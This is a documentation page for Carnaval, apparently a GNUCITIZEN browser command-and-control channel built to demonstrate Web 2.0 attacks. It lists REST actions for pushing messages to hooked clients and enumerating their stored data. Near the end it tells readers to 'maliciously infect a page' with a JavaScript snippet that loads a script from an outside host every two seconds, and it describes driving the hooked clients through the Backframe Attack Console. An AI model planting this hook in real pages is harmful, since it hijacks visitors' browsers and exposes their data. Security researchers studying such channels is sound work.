Carnaval is a free bi-directional, persistent communication channel. At the moment the service is unrestricted. Depending on how it will be used this status may change.

Carnaval was announced on 24th August 2006 in a post called “Introducing Carnaval“. The concept behind Carnaval’s channel interface is covered in the “Persistent Bi-directional Communication Channels” article published on 2nd October 2006. A subset of the communication channel used in Carnaval is part of the AttackAPI and Backframe projects.

Technically speaking, Carnaval is a communication channel which can be used as a message exchange mechanism between clients. In practice, Carnaval, can be used to construct chat rooms, online message broker applications, online games, etc. However, this project is specifically designed to be used as part of demonstration WEB2.0 attack vectors. As such, Carnaval was created for educational purposes only. GNUCITIZEN disclaims any responsibility for your own actions.

The channel is the only interactive part available in Carnaval. You can interact with it by using any of the following operations/actions:

ACTION: init – load initialization scripts

ParameterDescription
(none) (none)

ACTION: pull – pull message from the message queue (default)

ParameterDescription
callback callback function to handle the message
referrer the location of the calling client
id the unique identifier of the calling client

ACTION: push – push message to a client

ParameterDescription
client the unique client identifier the massage will be send to. If not supplied the message goes to everybody.
message the message the be send
target The same client could be attached on a single channel but from different locations. This feature enables precise message exchange communication.

ACTION: list – list attached clients

ParameterDescription
callback callback function that handles the data

ACTION: enum – enumerate attached clients by exposing their stored data

ParameterDescription
callback callback function that handles the data

ACTION: view – view stored data for one or more attached clients

ParameterDescription
client the unique client identifier the stored data will be accessed from

ACTION: save – store data for one or more attached clients

ParameterDescription
client the unique client identifier the stored data will be saved to. If not supplied the data will be saved globally.
name name of the field
value the data content
Parameters in bold are required.

The interaction process is REST (Representational State Transfer) based. You need to supply an appropriate action for each request. You can do that by appending action=[your action] after the question mark when calling Carnaval’s channel.

Carnaval is compatible with the Backframe Attack Console and the AttackAPI library. Building upon the Carnaval’s infrastructure is easy.

In order to try out the service you need to maliciously infect a page of your choice with the following code:

setInterval(function() {
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = 'http://www.gnucitizen.org/carnaval/channel?action=pull';
document.body.appendChild(script);
}, 2000); void(0);

Once the tracking code is in action, you will be able to communicate with it via Backframe, AttackAPI or by simply calling URLs compatible with Carnaval’s communication protocol:

http://www.gnucitizen.org/carnaval/channel?action=list&callback=myCallback

In order to use Backframe, you have to load Carnaval’s channel into the console. Once Carnaval’s user interface is loaded, click on the Backframe link. That will take you to Backframe Attack Console. The console will ask you for confirmation to load a dynamic profile. After you confirm that, you will be able to communicate with the attached clients.

If you have a proposal, question, suggestion or correction, please contact us.